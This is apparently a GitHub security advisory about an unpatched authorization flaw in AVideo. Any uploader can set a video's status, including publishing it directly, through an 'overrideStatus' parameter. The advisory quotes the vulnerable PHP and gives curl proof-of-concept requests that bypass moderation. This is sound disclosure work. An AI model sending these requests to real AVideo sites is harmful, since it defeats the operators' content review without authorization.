GitHub Security Advisory: GHSA-m577-w9j8-ch7j
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-285: Improper Authorization
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter

Details:
## Summary

AVideo's video processing pipeline accepts an `overrideStatus` request parameter that allows any uploader to set a video's status to any valid state, including "active" (`a`). This bypasses the admin-controlled moderation and draft workflows. The `setStatus()` method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.

## Details

At `objects/video.php:1055-1056`, the video object checks for an `overrideStatus` parameter in the request and applies it directly:

```php
if (!empty($_REQUEST['overrideStatus'])) {
    return $this->setStatus($_REQUEST['overrideStatus']);
}
```

This code is reached from two entry points:
- `objects/videoAddNew.json.php:157` - when adding a new video
- `objects/aVideoEncoder.json.php:114` - when processing an encoded video

The `setStatus()` method validates that the provided status code is one of the recognized values (`a`, `k`, `i`, `h`, `e`, `x`, `d`, `t`, `u`, `s`, `r`, `f`, `b`, `p`, `c`) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.

The relevant status codes include:
- `a` - Active (published and publicly visible)
- `k` - Draft (pending review)
- `i` - Inactive
- `e` - Encoding
- `x` - Deleted
- `u` - Unlisted

When an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including `overrideStatus=a` in their upload request.

## Proof of Concept

1. Assume the AVideo instance has moderation enabled (new videos default to draft status `k`).

2. Upload a video as a regular user, including the `overrideStatus` parameter:

```bash
curl -b "PHPSESSID=USER_SESSION" \
  -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
  -F "title=Bypassed Moderation" \
  -F "description=This video skips the review queue" \
  -F "videoLink=https://example.com/video.mp4" \
  -F "overrideStatus=a"
```

3. The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.

4. Verify the video is publicly accessible:

```bash
curl -s "https://your-avideo-instance.com/video/VIDEO_CLEAN_TITLE" | grep -o "<title>.*</title>"
```

5. An uploader can also use this to set other statuses:

```bash
# Set a video to "unlisted" even if the platform restricts this
curl -b "PHPSESSID=USER_SESSION" \
  -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
  -F "title=Unlisted Video" \
  -F "videoLink=https://example.com/video.mp4" \
  -F "overrideStatus=u"
```

## Impact

Any user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform's ability to enforce content policies, review uploads before publication, or m